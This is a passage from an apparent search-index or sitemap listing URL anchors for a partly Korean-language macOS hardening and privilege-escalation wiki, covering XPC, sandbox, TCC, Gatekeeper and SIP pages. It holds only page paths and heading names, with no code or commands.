scalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#권한-역설계","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#evenbetterauthorization-사용-여부-확인","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#프로토콜-통신","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#exploit-example","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#다른-xpc-권한-헬퍼-남용","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.html#참고자료","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/index.html#macos-xpc-connecting-process-check","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/index.html#xpc-connecting-process-check","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/index.html#communication-attacks","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/index.html#trustcache---downgrade-attacks-prevention","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/index.html#code-examples","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.html#macos-pid-재사용","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.html#pid-재사용","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.html#익스플로잇-예시","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.html#다른-예시","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.html#참고자료","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#macos-xpc_connection_get_audit_token-attack","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#mach-메시지-기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#xpc-연결","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#취약점-요약","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#variant-1-이벤트-핸들러-외부에서-xpc_connection_get_audit_token-호출하기","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#variant-2-응답-전달","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#발견-문제","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.html#수정-사항","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#macos-thread-injection-via-task-port","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#code","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#1-thread-hijacking","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#2-mach-ports-for-communication","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#3-basic-memory-readwrite-primitives","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#memory-reading-and-writing-using-the-execute-primitive","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#적합한-함수-식별","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#4-공유-메모리-설정","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#프로세스-개요","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#5-완전한-제어-달성","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#6-apple-silicon-arm64e-뉘앙스","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#7-탐지-및-endpointsecurity를-통한-강화","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#hardened-runtime-considerations","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#8-recent-public-tooling-2023-2025","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.html#macos-java-applications-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.html#enumeration","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.html#_java_options","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.html#vmoptions-파일","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#macos-library-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#dyld-프로세스","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#dyld_insert_libraries","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#라이브러리-검증","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#dylib-하이재킹","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#make-it-owned-by-root-and-suid","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#insert-the-library","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#remove-suid","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#apply-runtime-proetction","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#apply-library-validation","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#sign-it","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#if-the-signature-is-from-an-unverified-developer-the-injection-will-still-work","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#if-its-from-a-verified-developer-it-wont","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/index.html#apply-cs_restrict-protection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.html#macos-dyld-hijacking--dyld_insert_libraries","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.html#dyld_insert_libraries-기본-예제","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.html#dyld-hijacking-example","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.html#더-큰-규모","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#macos-dyld-process","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#flow","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#stubs","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#finding-lazy-symbols","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#apple-argument-vector","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#dyld_all_image_infos","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#dyld-env-variables","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#debug-dyld","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#others","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.html#macos-perl-applications-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.html#via-perl5opt--perl5lib-env-variable","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.html#다른-흥미로운-환경-변수","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.html#의존성을-통한-inc-남용","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.html#migration-assistant를-통한-sip-우회-cve-2023-32369-migraine","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.html#hardening-recommendations","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.html#macos-python-applications-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.html#pythonwarnings-및-browser-환경-변수를-통한-방법","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.html#macos-ruby-applications-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.html#rubyopt","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.html#macos-net-applications-injection","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.html#net-core-debugging","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.html#디버깅-세션-설정","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.html#메모리-읽기","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.html#메모리-쓰기","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.html#net-core-코드-실행","macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#macos-보안-보호","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#gatekeeper","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#프로세스-제한","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#macf","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#sip---시스템-무결성-보호","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#샌드박스","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#tcc----투명성-동의-및-제어","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#실행환경-제약-및-신뢰-캐시","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#mrt---악성-소프트웨어-제거-도구","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#백그라운드-작업-관리","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#enumeration","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/index.html#btm-조작하기","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#macos-gatekeeper--quarantine--xprotect","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#gatekeeper","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#application-signatures","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#notarization","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#spctl--syspolicyd","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#quarantine-files","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#xprotect","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#not-gatekeeper","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#gatekeeper-bypasses","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2021-1810","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2021-30990","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2022-22616","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2022-32910","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2022-42821","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2023-27943","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2023-27951","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2023-41067","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#cve-2024-27853","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#제3자-압축-해제-도구의-격리-전파-오류-20232024","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#uchg-이--강연-에서","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#격리-xattr-방지","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#macos-launchenvironment-constraints--trust-cache","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#lc-categories","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#lc-카테고리-리버싱","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#환경-제약","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#신뢰-캐시","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#신뢰-캐시-열거","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#공격-완화","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#xpc-데몬-보호","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#electron-보호","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-launch-environment-constraints.html#참고-문헌","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#macos-sandbox","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#containers","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#sandbox-프로파일","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#샌드박스-프로파일-예시","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#샌드박스-추적","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#샌드박스-검사","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#macos-및-ios-샌드박스-프로파일","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#app-store-앱의-사용자-정의-sbpl","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#sandbox-프로필-컴파일-및-디컴파일","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#sandbox-디버그-및-우회","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#sandbox-확장","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#pid-권한-확인","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#unsuspend","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#mac_syscall","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#sandboxkext","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#macf-hooks","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#sandboxd","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/index.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.html#macos-기본-샌드박스-디버그","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#macos-sandbox-debug--bypass","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#sandbox-loading-process","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#possible-bypasses","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#bypassing-quarantine-attribute","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#abusing-open-functionality","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#launch-agentsdaemons","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#abusing-auto-start-locations","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#abusing-other-processes","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#available-system-and-user-mach-services","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#사용-가능한-pid-mach-서비스","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#static-compiling--dynamically-linking","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#shellcodes","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#상속되지-않은-제한","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#entitlements","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#interposting-bypass","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#debug--bypass-sandbox-with-lldb","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/index.html#references","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.html#macos-office-sandbox-bypasses","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.html#word-sandbox-bypass-via-launch-agents","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.html#word-sandbox-bypass-via-login-items-and-zip","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.html#word-sandbox-bypass-via-login-items-and-zshenv","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.html#word-sandbox-bypass-with-open-and-env-variables","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.html#word-sandbox-bypass-with-open-and-stdin","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.html#macos-authorizations-db--authd","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.html#authorization-db","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.html#example","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.html#authd","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#macos-sip","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#sip-상태","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#기타-제한-사항","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#sip-관련-권한","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#sip-우회","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#설치-패키지","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#존재하지-않는-sip-파일","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#comapplerootlessinstallheritable","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#comapplerootlessinstall","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#sealed-system-snapshots","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.html#check-snapshots","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#macos-tcc","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#기본-정보","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#tcc-데이터베이스","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#tcc-서명-검사","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#권한-및-tcc-권한","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#민감한-보호되지-않은-장소","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#사용자-의도--comapplemacl","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#tcc-privesc--bypasses","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#tcc에-삽입","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#tcc-페이로드","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#apple-events","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#automation-finder-to-fda","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#automation-se-to-some-tcc","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#automation-se--accessibility--ktccservicepostevent-ktccserviceaccessibility---to-fda","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#ktccserviceaccessibility-to-fda","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#endpoint-security-client-to-fda","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#system-policy-sysadmin-file-to-fda","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#user-tcc-db-to-fda","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#fda-to-tcc-permissions","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#sip-bypass-to-tcc-bypass","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#tcc-우회","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/index.html#참고자료","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.html#macos-apple-events","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.html#basic-information","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#macos-tcc-bypasses","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#기능별","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#쓰기-우회","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#tcc-clickjacking","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#임의-이름으로-tcc-요청","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#ssh-우회","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#핸들-확장---cve-2022-26767","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#icloud","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#ktccserviceappleevents--자동화","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#by-app-behaviour","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-20209934---tcc","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-2021-30761---노트","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-2021-30782---전이","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-2023-38571---음악-및-tv","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#sqlite_sqllog_dir---cve-2023-32422","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#sqlite_auto_trace","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#mtl_dump_pipelines_to_json_file---cve-2023-32407","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#apple-remote-desktop","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#by--nfshomedirectory","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-20209934---tcc-1","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-2020-27937---directory-utility","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-2021-30970---powerdir","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#by-process-injection","macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html#cve-2020-27937---directory-utility-1","macos-hardening/mac